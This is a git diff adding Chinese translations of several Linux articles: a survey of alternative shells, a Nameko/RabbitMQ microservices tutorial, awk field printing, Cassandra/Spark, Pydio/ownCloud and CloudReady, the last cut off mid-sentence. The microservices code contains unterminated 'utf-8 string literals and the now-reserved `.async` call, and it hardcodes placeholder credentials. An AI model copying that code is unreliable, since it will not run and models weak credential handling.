+其中一类用户总是本能的去尝试任何能够戳中其痛点的新选择。他们尝试过不计其数的窗口管理器、系统发行版和几乎所有能找到的桌面插件。 + +另一类用户找到他们喜欢的东西后,会一直使用下去。他们往往喜欢所使用的系统发行版的默认配置。最先熟练掌握的文本编辑器会成为他们最钟爱的那一个。 + +作为一个使用桌面版和服务器版十五年之久的 Linux 用户,比起第一类来,我无疑属于第二类用户。我更倾向于使用现成的东西,如此一来,很多时候我就可以通过文档和示例方便地找到我所需要的使用案例。如果我决定选择使用非费标准的东西,这个切换过程一定会基于细致的研究,并且前提是来自好基友的大力推荐。 + +但这并不意味着我不喜欢尝试新事物并且查漏补失。所以最近一段时间,在我不假思索的使用了 bash shell 多年之后,决定尝试一下另外四个 shell 工具:ksh、tcsh、zsh 和 fish。这四个 shell 都可以通过我所用的 Fedora 系统的默认库轻松安装,并且他们可能已经内置在你所使用的系统发行版当中了。 + +这里对它们每个选择都稍作介绍,并且阐述下它适合做为你的下一个 Linux 命令行解释器的原因所在。 + +### bash + +首先,我们回顾一下最为熟悉的一个。 [GNU Bash][1],又名 Bourne Again Shell,它是我这些年使用过的众多 Linux 发行版的默认选择。它最初发布于 1989 年,并且轻松成长为 Linux 世界中使用最广泛的 shell,甚至常见于其他一些类 Unix 系统当中。 + +Bash 是一个广受赞誉的 shell,当你通过互联网寻找各种事情解决方法所需的文档时,总能够无一例外的发现这些文档都默认你使用的是 bash shell。但 bash 也有一些缺点存在,如果你写过 Bash 脚本就会发现我们写的代码总是得比真正所需要的多那么几行。这并不是说有什么事情是它做不到的,而是说它读写起来并不总是那么直观,至少是不够优雅。 + +如上所述,基于其巨大的安装量,并且考虑到各类专业和非专业系统管理员已经适应了它的使用方式和独特之处,至少在将来一段时间内,bash 或许会一直存在。 + +### ksh + +[KornShell][4],或许你对这个名字并不熟悉,但是你一定知道它的调用命令 ksh。这个替代性的 shell 于 80 年代起源于贝尔实验室,由 David Korn 所写。虽然最初是一个专有软件,但是后期版本是在 [Eclipse Public 许可][5]下发布的。 + +ksh 的拥趸们列出了他们觉得其优越的诸多理由,包括更好的循环语法,清晰的管道退出代码,处理重复命令和关联数组的更简单的方式。它能够模拟 vi 和 emacs 的许多行为,所以如果你是一个重度文本编辑器患者,它值得你一试。最后,我发现它虽然在高级脚本方面拥有不同的体验,但在基本输入方面与 bash 如出一辙。 + +### tcsh + +[tcsh][6] 衍生于 csh(Berkely Unix C shell),并且可以追溯到早期的 Unix 和计算机时代开始。 + +tcsh 最大的卖点在于它的脚本语言,对于熟悉 C 语言编程的人来说,看起来会非常亲切。tcsh 的脚本编写有人喜欢,有人憎恶。但是它也有其他的技术特色,包括可以为 aliases 添加参数,各种可能迎合你偏好的默认行为,包括 tab 自动完成和将 tab 完成的工作记录下来以备后查。 + +tcsh 以 [BSD 许可][7]发布。 + +### zsh + +[zsh][8] 是另外一个与 bash 和 ksh 有着相似之处的 shell。诞生于 90 年代初,zsh 支持众多有用的新技术,包括拼写纠正、主题化、可命名的目录快捷键,在多个终端中共享同一个命令历史信息和各种相对于原来的 bash 的轻微调整。 + +虽然部分需要遵照 GPL 许可,但 zsh 的代码和二进制文件可以在一个类似 MIT 许可证的许可下进行分发; 你可以在 [actual license][9] 中查看细节。 + +### fish + +之前我访问了 [fish][10] 的主页,当看到 “好了,这是一个为 90 后而生的命令行 shell” 这条略带调侃的介绍时(fish 完成于 2005 年),我就意识到我会爱上这个交互友好的 shell 的。 + +fish 的作者提供了若干切换过来的理由,这些理由有点小幽默并且能戳中笑点,不过还真是那么回事。这些特性包括自动建议(“注意, Netscape Navigator 4.0 来了”,LCTT 译注:NN4 是一个重要版本。),支持“惊人”的 256 色 VGA 调色,不过也有真正有用的特性,包括根据你机器上的 man 页面自动补全命令,清除脚本和基于 web 界面的配置方式。 + +fish 的许可主要基于 GPLv2,但有些部分是在其他许可下的。你可以查看资源库来了解[完整信息][11]。 + +*** + +如果你想要寻找关于每个选择确切不同之处的详尽纲要,[这个网站][12]应该可以帮到你。 + +我的立场到底是怎样的呢?好吧,最终我应该还是会重新投入 bash 的怀抱,因为对于大多数时间都在使用命令行交互的人来说,切换过程对于编写高级的脚本能带来的好处微乎其微,并且我已经习惯于使用 bash 了。 + +但是我很庆幸做出了敞开大门并且尝试新选择的决定。我知道门外还有许许多多其他的东西。你尝试过哪些 shell,更中意哪一个?请在评论里告诉我们。 + +--- + +via: https://opensource.com/business/16/3/top-linux-shells + +作者:[Jason Baker][a] +译者:[mr-ping](https://github.com/mr-ping) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:https://opensource.com/users/jason-baker + +[1]: https://www.gnu.org/software/bash/ +[2]: http://mywiki.wooledge.org/BashPitfalls +[3]: http://www.gnu.org/licenses/gpl.html +[4]: http://www.kornshell.org/ +[5]: https://www.eclipse.org/legal/epl-v10.html +[6]: http://www.tcsh.org/Welcome +[7]: https://en.wikipedia.org/wiki/BSD_licenses +[8]: http://www.zsh.org/ +[9]: https://sourceforge.net/p/zsh/code/ci/master/tree/LICENCE +[10]: https://fishshell.com/ +[11]: https://github.com/fish-shell/fish-shell/blob/master/COPYING +[12]: http://hyperpolyglot.org/unix-shells + diff --git a/published/201607/20160304 Microservices with Python RabbitMQ and Nameko.md b/published/201607/20160304 Microservices with Python RabbitMQ and Nameko.md new file mode 100644 index 0000000000..d70afff960 --- /dev/null +++ b/published/201607/20160304 Microservices with Python RabbitMQ and Nameko.md @@ -0,0 +1,284 @@ +用 Python、 RabbitMQ 和 Nameko 实现微服务 +============================================== + +>"微服务是一股新浪潮" - 现如今,将项目拆分成多个独立的、可扩展的服务是保障代码演变的最好选择。在 Python 的世界里,有个叫做 “Nameko” 的框架,它将微服务的实现变得简单并且强大。 + + +### 微服务 + +> 在最近的几年里,“微服务架构”如雨后春笋般涌现。它用于描述一种特定的软件应用设计方式,这种方式使得应用可以由多个独立部署的服务以服务套件的形式组成。 - M. Fowler + +推荐各位读一下 [Fowler 的文章][1] 以理解它背后的原理。 + +#### 好吧,那它究竟意味着什么呢? + +简单来说,**微服务架构**可以将你的系统拆分成多个负责不同任务的小的(单一上下文内)功能块(responsibilities blocks),它们彼此互无感知,各自只提供用于通讯的通用指向(common point)。这个指向通常是已经将通讯协议和接口定义好的消息队列。 + +#### 这里给大家提供一个真实案例 + +> 案例的代码可以通过 github: 访问,查看 service 和 api 文件夹可以获取更多信息。 + +想象一下,你有一个 REST API ,这个 API 有一个端点(LCTT 译注:REST 风格的 API 可以有多个端点用于处理对同一资源的不同类型的请求)用来接受数据,并且你需要将接收到的数据进行一些运算工作。那么相比阻塞接口调用者的请求来说,异步实现此接口是一个更好的选择。你可以先给用户返回一个 "OK - 你的请求稍后会处理" 的状态,然后在后台任务中完成运算。 + +同样,如果你想要在不阻塞主进程的前提下,在计算完成后发送一封提醒邮件,那么将“邮件发送”委托给其他服务去做会更好一些。 + + +#### 场景描述 + +![](http://brunorocha.org/static/media/microservices/micro_services.png) + + +### 用代码说话 + +让我们将系统创建起来,在实践中理解它: + +#### 环境 + +我们需要的环境: + +- 运行良好的 RabbitMQ(LCTT 译注:[RabbitMQ][2] 是一个流行的消息队列实现) +- 由 VirtualEnv 提供的 Services 虚拟环境 +- 由 VirtualEnv 提供的 API 虚拟环境 + +#### Rabbit + +在开发环境中使用 RabbitMQ 最简单的方式就是运行其官方的 docker 容器。在你已经拥有 Docker 的情况下,运行: + +``` +docker run -d --hostname my-rabbit --name some-rabbit -p 15672:15672 -p 5672:5672 rabbitmq:3-management +``` + +在浏览器中访问 ,如果能够使用 guest:guest 验证信息登录 RabbitMQ 的控制面板,说明它已经在你的开发环境中运行起来了。 + +![](http://brunorocha.org/static/media/microservices/RabbitMQManagement.png) + +#### 服务环境 + +现在让我们创建微服务来满足我们的任务需要。其中一个服务用来执行计算任务,另一个用来发送邮件。按以下步骤执行: + +在 Shell 中创建项目的根目录 + +``` +$ mkdir myproject +$ cd myproject +``` + +用 virtualenv 工具创建并且激活一个虚拟环境(你也可以使用virtualenv-wrapper) + +``` +$ virtualenv service_env +$ source service_env/bin/activate +``` + +安装 nameko 框架和 yagmail + +``` +(service_env)$ pip install nameko +(service_env)$ pip install yagmail +``` + +#### 服务的代码 + +现在我们已经准备好了 virtualenv 所提供的虚拟环境(可以想象成我们的服务是运行在一个独立服务器上的,而我们的 API 运行在另一个服务器上),接下来让我们编码,实现 nameko 的 RPC 服务。 + +我们会将这两个服务放在同一个 python 模块中,当然如果你乐意,也可以把它们放在单独的模块里并且当成不同的服务运行: + +在名为 `service.py` 的文件中 + +```python +import yagmail +from nameko.rpc import rpc, RpcProxy + + +class Mail(object): + name = "mail" + + @rpc + def send(self, to, subject, contents): + yag = yagmail.SMTP('myname@gmail.com', 'mypassword') + # 以上的验证信息请从安全的地方进行读取 + # 贴士: 可以去看看 Dynaconf 设置模块 + yag.send(to=to.encode('utf-8), + subject=subject.encode('utf-8), + contents=[contents.encode('utf-8)]) + + +class Compute(object): + name = "compute" + mail = RpcProxy('mail') + + @rpc + def compute(self, operation, value, other, email): + operations = {'sum': lambda x, y: int(x) + int(y), + 'mul': lambda x, y: int(x) * int(y), + 'div': lambda x, y: int(x) / int(y), + 'sub': lambda x, y: int(x) - int(y)} + try: + result = operations[operation](value, other) + except Exception as e: + self.mail.send.async(email, "An error occurred", str(e)) + raise + else: + self.mail.send.async( + email, + "Your operation is complete!", + "The result is: %s" % result + ) + return result +``` + +现在我们已经用以上代码定义好了两个服务,下面让我们将 Nameko RPC service 运行起来。 + +> 注意:我们会在控制台中启动并运行它。但在生产环境中,建议大家使用 supervisord 替代控制台命令。 + +在 Shell 中启动并运行服务 + +``` +(service_env)$ nameko run service --broker amqp://guest:guest@localhost +starting services: mail, compute +Connected to amqp://guest:**@127.0.0.1:5672// +Connected to amqp://guest:**@127.0.0.1:5672// +``` + + +#### 测试 + +在另外一个 Shell 中(使用相同的虚拟环境),用 nameko shell 进行测试: + +``` +(service_env)$ nameko shell --broker amqp://guest:guest@localhost +Nameko Python 2.7.9 (default, Apr 2 2015, 15:33:21) +[GCC 4.9.2] shell on linux2 +Broker: amqp://guest:guest@localhost +>>> +``` + +现在你已经处在 RPC 客户端中了,Shell 的测试工作是通过 n.rpc 对象来进行的,它的使用方法如下: + +``` +>>> n.rpc.mail.send("name@email.com", "testing", "Just testing") +``` + +上边的代码会发送一封邮件,我们同样可以调用计算服务对其进行测试。需要注意的是,此测试还会附带进行异步的邮件发送。 + +``` +>>> n.rpc.compute.compute('sum', 30, 10, "name@email.com") +40 +>>> n.rpc.compute.compute('sub', 30, 10, "name@email.com") +20 +>>> n.rpc.compute.compute('mul', 30, 10, "name@email.com") +300 +>>> n.rpc.compute.compute('div', 30, 10, "name@email.com") +3 +``` + +### 在 API 中调用微服务 + +在另外一个 Shell 中(甚至可以是另外一台服务器上),准备好 API 环境。 + +用 virtualenv 工具创建并且激活一个虚拟环境(你也可以使用 virtualenv-wrapper) + +``` +$ virtualenv api_env +$ source api_env/bin/activate +``` + +安装 Nameko、 Flask 和 Flasgger + +``` +(api_env)$ pip install nameko +(api_env)$ pip install flask +(api_env)$ pip install flasgger +``` + +>注意: 在 API 中并不需要 yagmail ,因为在这里,处理邮件是服务的职责 + +创建含有以下内容的 `api.py` 文件: + +```python +from flask import Flask, request +from flasgger import Swagger +from nameko.standalone.rpc import ClusterRpcProxy + +app = Flask(__name__) +Swagger(app) +CONFIG = {'AMQP_URI': "amqp://guest:guest@localhost"} + + +@app.route('/compute', methods=['POST']) +def compute(): + """ + Micro Service Based Compute and Mail API + This API is made with Flask, Flasgger and Nameko + --- + parameters: + - name: body + in: body + required: true + schema: + id: data + properties: + operation: + type: string + enum: + - sum + - mul + - sub + - div + email: + type: string + value: + type: integer + other: + type: integer + responses: + 200: + description: Please wait the calculation, you'll receive an email with results + """ + operation = request.json.get('operation') + value = request.json.get('value') + other = request.json.get('other') + email = request.json.get('email') + msg = "Please wait the calculation, you'll receive an email with results" + subject = "API Notification" + with ClusterRpcProxy(CONFIG) as rpc: + # asynchronously spawning and email notification + rpc.mail.send.async(email, subject, msg) + # asynchronously spawning the compute task + result = rpc.compute.compute.async(operation, value, other, email) + return msg, 200 + +app.run(debug=True) +``` + +在其他的 shell 或者服务器上运行此文件 + +``` +(api_env) $ python api.py + * Running on http://127.0.0.1:5000/ (Press CTRL+C to quit) +``` + +然后访问 这个 url,就可以看到 Flasgger 的界面了,利用它可以进行 API 的交互并可以发布任务到队列以供服务进行消费。 + +![](http://brunorocha.org/static/media/microservices/Flasgger_API_documentation.png) + +> 注意: 你可以在 shell 中查看到服务的运行日志,打印信息和错误信息。也可以访问 RabbitMQ 控制面板来查看消息在队列中的处理情况。 + +Nameko 框架还为我们提供了很多高级特性,你可以从 获取更多的信息。 + +别光看了,撸起袖子来,实现微服务! + + +-------------------------------------------------------------------------------- + +via: http://brunorocha.org/python/microservices-with-python-rabbitmq-and-nameko.html + +作者: [Bruno Rocha][a] +译者: [mr-ping](http://www.mr-ping.com) +校对: [wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]:http://facebook.com/rochacbruno +[1]:http://martinfowler.com/articles/microservices.html +[2]:http://rabbitmq.mr-ping.com/description.html diff --git a/published/201607/20160425 How to Use Awk to Print Fields and Columns in File.md b/published/201607/20160425 How to Use Awk to Print Fields and Columns in File.md new file mode 100644 index 0000000000..94b914cd3d --- /dev/null +++ b/published/201607/20160425 How to Use Awk to Print Fields and Columns in File.md @@ -0,0 +1,107 @@ +如何使用 Awk 打印文件中的字段和列 +=================================================== + +在 [Linux Awk 命令系列介绍][1] 的这部分,我们来看一下 awk 最重要的功能之一,字段编辑。 + +首先我们要知道 Awk 会自动把输入的行切分为字段,字段可以定义为是一些字符集,这些字符集和其它字段被内部字段分隔符分离。 + +![](http://www.tecmint.com/wp-content/uploads/2016/04/Awk-Print-Fields-and-Columns.png) +>Awk 输出字段和列 + +如果你熟悉 Unix/Linux 或者懂得 [bash shell 编程][2],那么你也应该知道内部字段分隔符(IFS)变量。Awk 默认的 IFS 是 tab 和空格。 + +Awk 字段切分的工作原理如下:当获得一行输入时,根据定义的 IFS,第一个字符集是字段一,用 $1 表示,第二个字符集是字段二,用 $2 表示,第三个字符集是字段三,用 $3 表示,以此类推直到最后一个字符集。 + +为了更好的理解 Awk 的字段编辑,让我们来看看下面的例子: + +**事例 1:**: 我创建了一个名为 tecmintinfo.txt 的文件。 + +``` +# vi tecmintinfo.txt +# cat tecmintinfo.txt +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/04/Create-File-in-Linux.png) +>在 Linux 中创建文件 + +然后在命令行中使用以下命令打印 tecmintinfo.txt 文件中的第一、第二和第三个字段。 + +``` +$ awk '//{print $1 $2 $3 }' tecmintinfo.txt +TecMint.comisthe +``` +从上面的输出中你可以看到,三个字段中的第一个是按照定义的 IFS,也就是空格,打印的。 + +- 字段一 “TecMint.com” 使用 $1 访问。 +- 字段二 “is” 通过 $2 访问。 +- 字段三 “the” 通过 $3 访问。 + +如果你注意打印的输出,可以看到字段值之间并没有分隔开,这是 print 默认的方式。 + +为了在字段值之间加入空格,你需要像下面这样添加(,)分隔符: + +``` +$ awk '//{print $1, $2, $3; }' tecmintinfo.txt + +TecMint.com is the +``` + +很重要而且必须牢记的一点是,Awk 中 ($) 的使用和在 shell 脚本中不一样。 + +在 shell 脚本中 ($) 用于获取变量的值,而在 Awk 中 ($) 只用于获取一个字段的内容,而不能用于获取变量的值。 + +**事例2**: 让我们再看一个使用多行文件 my_shoping.list 的例子。 + +``` +No Item_Name Unit_Price Quantity Price +1 Mouse #20,000 1 #20,000 +2 Monitor #500,000 1 #500,000 +3 RAM_Chips #150,000 2 #300,000 +4 Ethernet_Cables #30,000 4 #120,000 +``` + +假设你只想打印购物清单中每个物品的 Unit_Price,你需要允许下面的命令: + +``` +$ awk '//{print $2, $3 }' my_shopping.txt + +Item_Name Unit_Price +Mouse #20,000 +Monitor #500,000 +RAM_Chips #150,000 +Ethernet_Cables #30,000 +``` + +Awk 也有一个 printf 命令,它能帮助你用更好的方式格式化输出,正如你可以看到上面的输出并不清晰。 + +使用 printf 格式化输出 Item_Name 和 Unit_Price: + +``` +$ awk '//{printf "%-10s %s\n",$2, $3 }' my_shopping.txt + +Item_Name Unit_Price +Mouse #20,000 +Monitor #500,000 +RAM_Chips #150,000 +Ethernet_Cables #30,000 +``` + +### 总结 + +使用 Awk 进行文本和字符串过滤时字段编辑功能非常重要,它能帮助你从列表中获取列的特定数据。同时需要记住 Awk 中 ($) 操作符和 shell 脚本中不一样。 + +我希望这篇文章能对你有所帮助,如果你需要获取其它信息或者有任何疑问,都可以在下面的评论框中告诉我们。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/awk-print-fields-columns-with-space-separator/?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+tecmint+%28Tecmint%3A+Linux+Howto%27s+Guide%29 + +作者:[Aaron Kili][a] +译者:[ictlyh](https://github.com/ictlyh) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/aaronkili/ +[1]: http://www.tecmint.com/tag/awk-command/ +[2]: http://www.tecmint.com/category/bash-shell/ diff --git a/published/201607/20160511 An introduction to data processing with Cassandra and Spark.md b/published/201607/20160511 An introduction to data processing with Cassandra and Spark.md new file mode 100644 index 0000000000..bec55c2e7c --- /dev/null +++ b/published/201607/20160511 An introduction to data processing with Cassandra and Spark.md @@ -0,0 +1,45 @@ +Cassandra 和 Spark 数据处理一窥 +============================================================== + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/life/osdc_520x292_opendata_0613mm.png?itok=mzC0Tb28) + +Apache Cassandra 数据库近来引起了很多的兴趣,这主要源于现代云端软件对于可用性及性能方面的要求。 + +那么,Apache Cassandra 是什么?它是一种为高可用性及线性可扩展性优化的分布式的联机交易处理 (OLTP) 数据库。具体说到 Cassandra 的用途时,可以想想你希望贴近用户的系统,比如说让我们的用户进行交互的系统、需要保证实时可用的程序等等,如:产品目录,物联网,医疗系统,以及移动应用。对这些程序而言,下线时间意味着利润降低甚至导致其他更坏的结果。Netfilix 是这个在 2008 年开源的项目的早期使用者,他们对此项目的贡献以及带来的成功让这个项目名声大噪。 + +Cassandra 于2010年成为了 Apache 软件基金会的顶级项目,并从此之后就流行起来。现在,只要你有 Cassadra 的相关知识,找工作时就能轻松不少。想想看,NoSQL 语言和开源技术能达到企业级 SQL 技术的高度,真让人觉得十分疯狂而又不可思议的。这引出了一个问题。是什么让它如此的流行? + +因为采用了[亚马逊发表的 Dynamo 论文][1]中率先提出的设计,Cassandra 有能力在大规模的硬件及网络故障时保持实时在线。由于采用了点对点模式,在没有单点故障的情况下,我们能幸免于机架故障甚至全网中断。我们能在不影响用户体验的前提下处理数据中心故障。一个能考虑到故障的分布式系统才是一个没有后顾之忧的分布式系统,因为老实说,故障是迟早会发生的。有了 Cassandra, 我们可以直面残酷的生活并将之融入数据库的结构和功能中。 + +我们能猜到你现在在想什么,“但我只有关系数据库相关背景,难道这样的转变不会很困难吗?”这问题的答案介于是和不是之间。使用 Cassandra 建立数据模型对有关系数据库背景的开发者而言是轻车熟路。我们使用表格来建立数据模型,并使用 CQL ( Cassandra 查询语言)来查询数据库。然而,与 SQL 不同的是,Cassandra 支持更加复杂的数据结构,例如嵌套和用户自定义类型。举个例子,当要储存对一个小猫照片的点赞数目时,我们可以将整个数据储存在一个包含照片本身的集合之中从而获得更快的顺序查找而不是建立一个独立的表。这样的表述在 CQL 中十分的自然。在我们照片表中,我们需要记录名字,URL以及给此照片点赞过的人。 + +![](https://opensource.com/sites/default/files/resize/screen_shot_2016-05-06_at_7.17.33_am-350x198.png) + +在一个高性能系统中,毫秒级处理都能对用户体验和客户维系产生影响。昂贵的 JOIN 操作制约了我们通过增加不可预见的网络调用而扩容的能力。当我们将数据反范式化使其能通过尽可能少的请求就可获取时,我们即可从磁盘空间成本的降低中获益并获得可预期的、高性能应用。我们将反范式化同 Cassandra 一同介绍是因为它提供了很有吸引力的的折衷方案。 + +很明显,我们不会局限于对于小猫照片的点赞数量。Canssandra 是一款为高并发写入优化的方案。这使其成为需要时常吞吐数据的大数据应用的理想解决方案。实时应用和物联网方面的应用正在稳步增长,无论是需求还是市场表现,我们也会不断的利用我们收集到的数据来寻求改进技术应用的方式。 + +这就引出了我们的下一步,我们已经提到了如何以一种现代的、性价比高的方式储存数据,但我们应该如何获得更多的动力呢?具体而言,当我们收集到了所需的数据,我们应该怎样处理呢?如何才能有效的分析几百 TB 的数据呢?如何才能实时的对我们所收集到的信息进行反馈,并在几秒而不是几小时的时间利作出决策呢?Apache Spark 将给我们答案。 + +Spark 是大数据变革中的下一步。 Hadoop 和 MapReduce 都是革命性的产品,它们让大数据界获得了分析所有我们所取得的数据的机会。Spark 对性能的大幅提升及对代码复杂度的大幅降低则将大数据分析提升到了另一个高度。通过 Spark,我们能大批量的处理计算,对流处理进行快速反应,通过机器学习作出决策,并通过图遍历来理解复杂的递归关系。这并非只是为你的客户提供与快捷可靠的应用程序连接(Cassandra 已经提供了这样的功能),这更是能洞悉 Canssandra 所储存的数据,作出更加合理的商业决策并同时更好地满足客户需求。 + +你可以看看 [Spark-Cassandra Connector][2] (开源) 并动手试试。若想了解更多关于这两种技术的信息,我们强烈推荐名为 [DataStax Academy][3] 的自学课程 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/life/16/5/basics-cassandra-and-spark-data-processing + +作者:[Jon Haddad][a],[Dani Traphagen][b] +译者:[KevinSJ](https://github.com/KevinSJ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://twitter.com/rustyrazorblade +[b]: https://opensource.com/users/dtrapezoid +[1]: http://www.allthingsdistributed.com/files/amazon-dynamo-sosp2007.pdf +[2]: https://github.com/datastax/spark-cassandra-connector +[3]: https://academy.datastax.com/ +[4]: http://conferences.oreilly.com/oscon/open-source-us/public/schedule/detail/49162 +[5]: https://twitter.com/dtrapezoid +[6]: https://twitter.com/rustyrazorblade diff --git a/published/201607/20160519 The future of sharing integrating Pydio and ownCloud.md b/published/201607/20160519 The future of sharing integrating Pydio and ownCloud.md new file mode 100644 index 0000000000..5c1b998508 --- /dev/null +++ b/published/201607/20160519 The future of sharing integrating Pydio and ownCloud.md @@ -0,0 +1,65 @@ +共享的未来:Pydio 与 ownCloud 的联合 +========================================================= + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/BIZ_darwincloud_520x292_0311LL.png?itok=5yWIaEDe) + +*图片来源 : opensource.com* + +开源共享生态圈内容纳了许多各异的项目,它们每一个都给出了自己的解决方案,且每一个都不按套路来。有很多原因导致你选择开源的解决方案,而非 Dropbox、Google Drive、iCloud 或 OneDrive 这些商业的解决方案。这些商业的解决方案虽然能让你不必为如何管理数据担心,但也理所应当的带着种种限制,其中就包括对于原有基础结构的控制和整合不足。 + +对于用户而言仍有相当一部分可供选择的文件分享和同步的替代品,其中就包括了 Pydio 和 ownCloud。 + +### Pydio + +Pydio (Put your data in orbit 把你的数据放上轨道) 项目由一位作曲家 Charles du Jeu 发起,起初他只是需要一种与乐队成员分享大型音频文件的方法。[Pydio][1] 是一种文件分享与同步的解决方案,综合了多存储后端,设计时还同时考虑了开发者和系统管理员两方面。在世界各地有逾百万的下载量,已被翻译成 27 种语言。 + +项目在刚开始的时候便开源了,先是在 [SourceForge][2] 上茁壮的成长,现在已在 [GitHub][3] 上安了家。 + +用户界面基于 Google 的 [Material 设计风格][4]。用户可以使用现有的传统文件基础结构或是根据预估的需求部署 Pydio,并通过 web、桌面和移动端应用随时随地地管理自己的东西。对于管理员来说,细粒度的访问权限绝对是配置访问时的利器。 + +在 [Pydio 社区][5],你可以找到许多让你增速的资源。Pydio 网站 [对于如何为 Pydio GitHub 仓库贡献][6] 给出了明确的指导方案。[论坛][7]中也包含了开发者板块和社区。 + +### ownCloud + +[ownCloud][8] 在世界各地拥有逾 8 百万的用户,它是一个开源、自行管理的文件同步共享技术。同步客户端支持所有主流平台并支持 WebDAV 通过 web 界面实现。ownCloud 拥有简单的使用界面,强大的管理工具,和大规模的共享及协作功能——以满足用户管理数据时的需求。 + +ownCloud 的开放式架构是通过 API 和为应用提供平台来实现可扩展性的。迄今已有逾 300 款应用,功能包括处理像日历、联系人、邮件、音乐、密码、笔记等诸多数据类型。ownCloud 由一个数百位贡献者的国际化的社区开发,安全,并且能做到为小到一个树莓派大到好几百万用户的 PB 级存储集群量身定制。 + +### 联合共享 (Federated sharing) + +文件共享开始转向团队合作时代,而标准化为合作提供了坚实的土壤。 + +联合共享(Federated sharing)——一个由 [OpenCloudMesh][9] 项目提供的新的开放标准,就是在这个方向迈出的一步。先不说别的,在支持该标准的服务器之间分享文件和文件夹,比如说 Pydio 和 ownCloud。 + +ownCloud 7 率先引入该标准,这种服务器到服务器的分享方式可以让你挂载远程服务器上共享的文件,实际上就是创建你自己的云上之云。你可以直接为其它支持联合共享的服务器上的用户创建共享链接。 + +实现这个新的 API 允许存储解决方案之间更深层次的集成,同时保留了原有平台的安全,控制和特性。 + +“交换和共享文件是当下和未来不可或缺的东西。”ownCloud 的创始人 Frank Karlitschek 说道:“正因如此,采用联合和分布的方式而非集中的数据孤岛就显得至关重要。联合共享的设计初衷便是在保证安全和用户隐私的同时追求分享的无缝、至简之道。” + +### 下一步是什么呢? + +正如 OpenCloudMesh 做的那样,将会通过像 Pydio 和 ownCloud 这样的机构和公司,合作推广这一文件共享的新开放标准。ownCloud 9 已经引入联合的服务器之间交换用户列表的功能,让你的用户们在你的服务器上享有和你同样的无缝体验。将来,一个中央地址簿服务(联合的)集合,用以检索其他联合云 ID 的构想可能会把云间合作推向一个新的高度。 + +这一举措无疑有助于日益开放的技术社区中的那些成员方便地讨论,开发,并推动“OCM 分享 API”作为一个厂商中立协议。所有领导 OCM 项目的合作伙伴都全心致力于开放 API 的设计原则,并欢迎其他开源的文件分享和同步社区参与并加入其中。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/business/16/5/sharing-files-pydio-owncloud + +作者:[ben van 't ende][a] +译者:[martin2011qi](https://github.com/martin2011qi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/benvantende +[1]: https://pydio.com/ +[2]: https://sourceforge.net/projects/ajaxplorer/ +[3]: https://github.com/pydio/ +[4]: https://www.google.com/design/spec/material-design/introduction.html +[5]: https://pydio.com/en/community +[6]: https://pydio.com/en/community/contribute +[7]: https://pydio.com/forum/f +[8]: https://owncloud.org/ +[9]: https://wiki.geant.org/display/OCM/Open+Cloud+Mesh diff --git a/published/201607/20160527 Turn Your Old Laptop into a Chromebook.md b/published/201607/20160527 Turn Your Old Laptop into a Chromebook.md new file mode 100644 index 0000000000..df776e73b5 --- /dev/null +++ b/published/201607/20160527 Turn Your Old Laptop into a Chromebook.md @@ -0,0 +1,128 @@ +把你的旧笔记本变成 Chromebook +======================================== + +![](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/cloud-ready-main.jpg?itok=gtzJVSq0) + +*学习如何用 CloudReady 在你的旧电脑上安装 Chrome OS* + +Linux 之年就在眼前。根据[报道][1],Google 在 2016 年第一季度卖出了比苹果卖出的 Macbook 更多的 Chromebook。并且,Chromebook 即将变得更加激动人心。在 Google I/O 大会上,Google 宣布安卓 Google Play 商店将在 6 月中旬来到 Chromebook,这让用户能够在他们的 Chrome OS 设备上运行安卓应用。 + +但是,你不需要购买一台全新的使用 Chrome OS 的笔记本,你可以轻松地将你的旧笔记本或电脑转换成强大的 Chromebook。我在一台 Dell Mini 和一台 2009 年购买的 Dell 笔记本上进行了尝试。那两台设备都在吃灰,而且本来注定是要被回收的,因为现代的操作系统和桌面环境,比如 Unity,Plasma 以及 Gnome 它们跑不动。 + +如果你手边有旧设备,你可以轻松地将它变成 Chromebook。你还可以在你的笔记本上安装 Chrome OS 双系统,这样你就可以同时享受不同系统的优点了。 + +多亏了 Chrome OS 的开源基础,有很多方案可以让你在你的设备上安装 Chrome OS。我试过几个,但我最喜欢的方案是 [Neverware][2] 的 CloudReady。这家公司提供一个免费的,社区支持版的系统,还有一个商业支持版,每台设备每年 49 美元。好消息是所有的授权都是可转移的,所以如果你卖掉或捐掉了设备,你也可以将 Neverware 授权转让给新用户。 + +### 你需要什么 + +在你开始在笔记本上安装 CloudReady 之前,你需要一些准备: + +- 一个容量不小于 4GB 的 USB 存储设备 +- 打开 Chrome 浏览器,到 Google Chrome Store 去安装 [Chromebook Recovery Utility(Chrome 恢复工具)][3] +- 更改目标机器的 BIOS 设置以便能从 USB 启动 + +### 开始 + +Neverware 提供两个版本的 CloudReady 镜像:32 位和 64 位。从下载页面[下载][4]合适你硬件的系统版本。 + +解压下载的 zip 文件,你会得到一个 chromiumos_image.bin 文件。现在插入 U 盘并打开 Chromebook Recovery Utility。点击工具右上角的齿轮,选择 erase recovery media(擦除恢复媒介,如图 1)。 + +![](https://www.linux.com/sites/lcom/files/styles/rendered_file/public/cloudready-erase.png?itok=1si1QrCL) + +*图 1:选择 erase recovery media。[image:cloudready-erase]* + +接下来,选择目标 USB 驱动器并把它格式化。格式化完成后,再次打开右上齿轮,这次选择 use local image(使用本地镜像)。浏览解压的 